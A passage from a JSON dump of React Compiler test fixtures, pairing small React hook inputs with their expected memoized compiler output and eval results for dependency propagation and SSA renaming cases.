    "content": "// @enablePropagateDepsInHIR\nimport {identity} from 'shared-runtime';\n\n/**\n * Very contrived text fixture showing that it's technically incorrect to merge\n * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an\n * unconditionally evaluated optional chain (`dep?.path`).\n *\n *\n * when screen is non-null, useFoo returns { title: null } or \"(not null)\"\n * when screen is null, useFoo throws\n */\nfunction useFoo({screen}: {screen: null | undefined | {title_text: null}}) {\n  return screen?.title_text != null\n    ? '(not null)'\n    : identity({title: screen.title_text});\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{screen: null}],\n  sequentialRenders: [{screen: {title_bar: undefined}}, {screen: null}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/promote-uncond.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n// When a conditional dependency `props.a.b.c` has no unconditional dependency\n// in its subpath or superpath, we should find the nearest unconditional access\n\nimport {identity} from 'shared-runtime';\n\n// and promote it to an unconditional dependency.\nfunction usePromoteUnconditionalAccessToDependency(props, other) {\n  const x = {};\n  x.a = props.a.a.a;\n  if (identity(other)) {\n    x.c = props.a.b.c;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: usePromoteUnconditionalAccessToDependency,\n  params: [{a: {a: {a: 3}}}, false],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n// When a conditional dependency `props.a.b.c` has no unconditional dependency\n// in its subpath or superpath, we should find the nearest unconditional access\n\nimport { identity } from \"shared-runtime\";\n\n// and promote it to an unconditional dependency.\nfunction usePromoteUnconditionalAccessToDependency(props, other) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== other || $[1] !== props.a.a.a || $[2] !== props.a.b) {\n    x = {};\n    x.a = props.a.a.a;\n    if (identity(other)) {\n      x.c = props.a.b.c;\n    }\n    $[0] = other;\n    $[1] = props.a.a.a;\n    $[2] = props.a.b;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: usePromoteUnconditionalAccessToDependency,\n  params: [{ a: { a: { a: 3 } } }, false],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":3}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/promote-uncond.js",
    "content": "// @enablePropagateDepsInHIR\n// When a conditional dependency `props.a.b.c` has no unconditional dependency\n// in its subpath or superpath, we should find the nearest unconditional access\n\nimport {identity} from 'shared-runtime';\n\n// and promote it to an unconditional dependency.\nfunction usePromoteUnconditionalAccessToDependency(props, other) {\n  const x = {};\n  x.a = props.a.a.a;\n  if (identity(other)) {\n    x.c = props.a.b.c;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: usePromoteUnconditionalAccessToDependency,\n  params: [{a: {a: {a: 3}}}, false],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nimport {Stringify} from 'shared-runtime';\n\nfunction useFoo({a}) {\n  return <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [\n    {a: null},\n    {a: {b: null}},\n    {a: {b: {c: {d: null}}}},\n    {a: {b: {c: {d: {e: 4}}}}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nimport { Stringify } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let t1;\n  if ($[0] !== a.b?.c.d?.e) {\n    t1 = <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;\n    $[0] = a.b?.c.d?.e;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: null }],\n  sequentialRenders: [\n    { a: null },\n    { a: { b: null } },\n    { a: { b: { c: { d: null } } } },\n    { a: { b: { c: { d: { e: 4 } } } } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n<div>{\"fn\":{\"kind\":\"Function\"},\"shouldInvokeFns\":true}</div>\n<div>{\"fn\":{\"kind\":\"Function\"},\"shouldInvokeFns\":true}</div>\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":4},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.tsx",
    "content": "// @enablePropagateDepsInHIR\n\nimport {Stringify} from 'shared-runtime';\n\nfunction useFoo({a}) {\n  return <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [\n    {a: null},\n    {a: {b: null}},\n    {a: {b: {c: {d: null}}}},\n    {a: {b: {c: {d: {e: 4}}}}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-invariant.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({data}) {\n  return (\n    <Stringify foo={() => data.a.d} bar={data.a?.b.c} shouldInvokeFns={true} />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{data: {a: null}}],\n  sequentialRenders: [{data: {a: {b: {c: 4}}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { Stringify } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(5);\n  const { data } = t0;\n  let t1;\n  if ($[0] !== data.a.d) {\n    t1 = () => data.a.d;\n    $[0] = data.a.d;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const t2 = data.a?.b.c;\n  let t3;\n  if ($[2] !== t1 || $[3] !== t2) {\n    t3 = <Stringify foo={t1} bar={t2} shouldInvokeFns={true} />;\n    $[2] = t1;\n    $[3] = t2;\n    $[4] = t3;\n  } else {\n    t3 = $[4];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ data: { a: null } }],\n  sequentialRenders: [{ data: { a: { b: { c: 4 } } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"foo\":{\"kind\":\"Function\"},\"bar\":4,\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-invariant.tsx",
    "content": "// @enablePropagateDepsInHIR\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({data}) {\n  return (\n    <Stringify foo={() => data.a.d} bar={data.a?.b.c} shouldInvokeFns={true} />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{data: {a: null}}],\n  sequentialRenders: [{data: {a: {b: {c: 4}}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-scope-missing-mutable-range.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction HomeDiscoStoreItemTileRating(props) {\n  const item = useFragment();\n  let count = 0;\n  const aggregates = item?.aggregates || [];\n  aggregates.forEach(aggregate => {\n    count += aggregate.count || 0;\n  });\n\n  return <Text>{count}</Text>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction HomeDiscoStoreItemTileRating(props) {\n  const $ = _c(4);\n  const item = useFragment();\n  let count;\n  if ($[0] !== item?.aggregates) {\n    count = 0;\n    const aggregates = item?.aggregates || [];\n    aggregates.forEach((aggregate) => {\n      count = count + (aggregate.count || 0);\n      count;\n    });\n    $[0] = item?.aggregates;\n    $[1] = count;\n  } else {\n    count = $[1];\n  }\n  let t0;\n  if ($[2] !== count) {\n    t0 = <Text>{count}</Text>;\n    $[2] = count;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-scope-missing-mutable-range.js",
    "content": "// @enablePropagateDepsInHIR\nfunction HomeDiscoStoreItemTileRating(props) {\n  const item = useFragment();\n  let count = 0;\n  const aggregates = item?.aggregates || [];\n  aggregates.forEach(aggregate => {\n    count += aggregate.count || 0;\n  });\n\n  return <Text>{count}</Text>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-cascading-eliminated-phis.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction Component(props) {\n  let x = 0;\n  const values = [];\n  const y = props.a || props.b;\n  values.push(y);\n  if (props.c) {\n    x = 1;\n  }\n  values.push(x);\n  if (props.d) {\n    x = 2;\n  }\n  values.push(x);\n  return values;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 1, c: true, d: true}],\n  sequentialRenders: [\n    {a: 0, b: 1, c: true, d: true},\n    {a: 4, b: 1, c: true, d: true},\n    {a: 4, b: 1, c: false, d: true},\n    {a: 4, b: 1, c: false, d: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction Component(props) {\n  const $ = _c(7);\n  let x = 0;\n  let values;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.c ||\n    $[3] !== props.d ||\n    $[4] !== x\n  ) {\n    values = [];\n    const y = props.a || props.b;\n    values.push(y);\n    if (props.c) {\n      x = 1;\n    }\n\n    values.push(x);\n    if (props.d) {\n      x = 2;\n    }\n\n    values.push(x);\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = props.d;\n    $[4] = x;\n    $[5] = values;\n    $[6] = x;\n  } else {\n    values = $[5];\n    x = $[6];\n  }\n  return values;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 1, c: true, d: true }],\n  sequentialRenders: [\n    { a: 0, b: 1, c: true, d: true },\n    { a: 4, b: 1, c: true, d: true },\n    { a: 4, b: 1, c: false, d: true },\n    { a: 4, b: 1, c: false, d: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1,1,2]\n[4,1,2]\n[4,0,2]\n[4,0,0]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-cascading-eliminated-phis.js",
    "content": "// @enablePropagateDepsInHIR\nfunction Component(props) {\n  let x = 0;\n  const values = [];\n  const y = props.a || props.b;\n  values.push(y);\n  if (props.c) {\n    x = 1;\n  }\n  values.push(x);\n  if (props.d) {\n    x = 2;\n  }\n  values.push(x);\n  return values;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 1, c: true, d: true}],\n  sequentialRenders: [\n    {a: 0, b: 1, c: true, d: true},\n    {a: 4, b: 1, c: true, d: true},\n    {a: 4, b: 1, c: false, d: true},\n    {a: 4, b: 1, c: false, d: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-leave-case.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = [];\n  let y;\n  if (props.p0) {\n    x.push(props.p1);\n    y = x;\n  }\n  return (\n    <Stringify>\n      {x}\n      {y}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{p0: false, p1: 2}],\n  sequentialRenders: [\n    {p0: false, p1: 2},\n    {p0: false, p1: 2},\n    {p0: true, p1: 2},\n    {p0: true, p1: 3},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.p0 || $[1] !== props.p1) {\n    const x = [];\n    let y;\n    if (props.p0) {\n      x.push(props.p1);\n      y = x;\n    }\n    t0 = (\n      <Stringify>\n        {x}\n        {y}\n      </Stringify>\n    );\n    $[0] = props.p0;\n    $[1] = props.p1;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ p0: false, p1: 2 }],\n  sequentialRenders: [\n    { p0: false, p1: 2 },\n    { p0: false, p1: 2 },\n    { p0: true, p1: 2 },\n    { p0: true, p1: 3 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":[[],null]}</div>\n<div>{\"children\":[[],null]}</div>\n<div>{\"children\":[[2],\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"children\":[[3],\"[[ cyclic ref *2 ]]\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-leave-case.js",
    "content": "// @enablePropagateDepsInHIR\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = [];\n  let y;\n  if (props.p0) {\n    x.push(props.p1);\n    y = x;\n  }\n  return (\n    <Stringify>\n      {x}\n      {y}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{p0: false, p1: 2}],\n  sequentialRenders: [\n    {p0: false, p1: 2},\n    {p0: false, p1: 2},\n    {p0: true, p1: 2},\n    {p0: true, p1: 3},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction-with-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { mutate } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    x = [];\n    x.push(props.bar);\n    props.cond ? (([x] = [[]]), x.push(props.foo)) : null;\n    mutate(x);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55,\"joe\"]\n[55,\"joe\"]\n[3,\"joe\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction-with-mutation.js",
    "content": "// @enablePropagateDepsInHIR\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction useFoo(props) {\n  const $ = _c(5);\n  let x;\n  if ($[0] !== props.bar) {\n    x = [];\n    x.push(props.bar);\n    $[0] = props.bar;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  if ($[2] !== props.cond || $[3] !== props.foo) {\n    props.cond ? (([x] = [[]]), x.push(props.foo)) : null;\n    $[2] = props.cond;\n    $[3] = props.foo;\n    $[4] = x;\n  } else {\n    x = $[4];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55]\n[55]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction.js",
    "content": "// @enablePropagateDepsInHIR\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-with-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { mutate } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    x = [];\n    x.push(props.bar);\n    props.cond ? ((x = []), x.push(props.foo)) : null;\n    mutate(x);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55,\"joe\"]\n[55,\"joe\"]\n[3,\"joe\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-with-mutation.js",
    "content": "// @enablePropagateDepsInHIR\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction useFoo(props) {\n  const $ = _c(5);\n  let x;\n  if ($[0] !== props.bar) {\n    x = [];\n    x.push(props.bar);\n    $[0] = props.bar;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  if ($[2] !== props.cond || $[3] !== props.foo) {\n    props.cond ? ((x = []), x.push(props.foo)) : null;\n    $[2] = props.cond;\n    $[3] = props.foo;\n    $[4] = x;\n  } else {\n    x = $[4];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55]\n[55]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary.js",
    "content": "// @enablePropagateDepsInHIR\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary-with-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {arrayPush} from 'shared-runtime';\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond\n    ? ((x = {}), (x = []), x.push(props.foo))\n    : ((x = []), (x = []), x.push(props.bar));\n  arrayPush(x, 4);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { arrayPush } from \"shared-runtime\";\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    x = [];\n    x.push(props.bar);\n    props.cond ? ((x = []), x.push(props.foo)) : ((x = []), x.push(props.bar));\n    arrayPush(x, 4);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55,4]\n[55,4]\n[3,4]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary-with-mutation.js",
    "content": "// @enablePropagateDepsInHIR\nimport {arrayPush} from 'shared-runtime';\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond\n    ? ((x = {}), (x = []), x.push(props.foo))\n    : ((x = []), (x = []), x.push(props.bar));\n  arrayPush(x, 4);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond\n    ? ((x = {}), (x = []), x.push(props.foo))\n    : ((x = []), (x = []), x.push(props.bar));\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction useFoo(props) {\n  const $ = _c(6);\n  let x;\n  if ($[0] !== props.bar) {\n    x = [];\n    x.push(props.bar);\n    $[0] = props.bar;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  if ($[2] !== props.bar || $[3] !== props.cond || $[4] !== props.foo) {\n    props.cond ? ((x = []), x.push(props.foo)) : ((x = []), x.push(props.bar));\n    $[2] = props.bar;\n    $[3] = props.cond;\n    $[4] = props.foo;\n    $[5] = x;\n  } else {\n    x = $[5];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55]\n[55]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary.js",
    "content": "// @enablePropagateDepsInHIR\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond\n    ? ((x = {}), (x = []), x.push(props.foo))\n    : ((x = []), (x = []), x.push(props.bar));\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-with-mutation.expect.md",
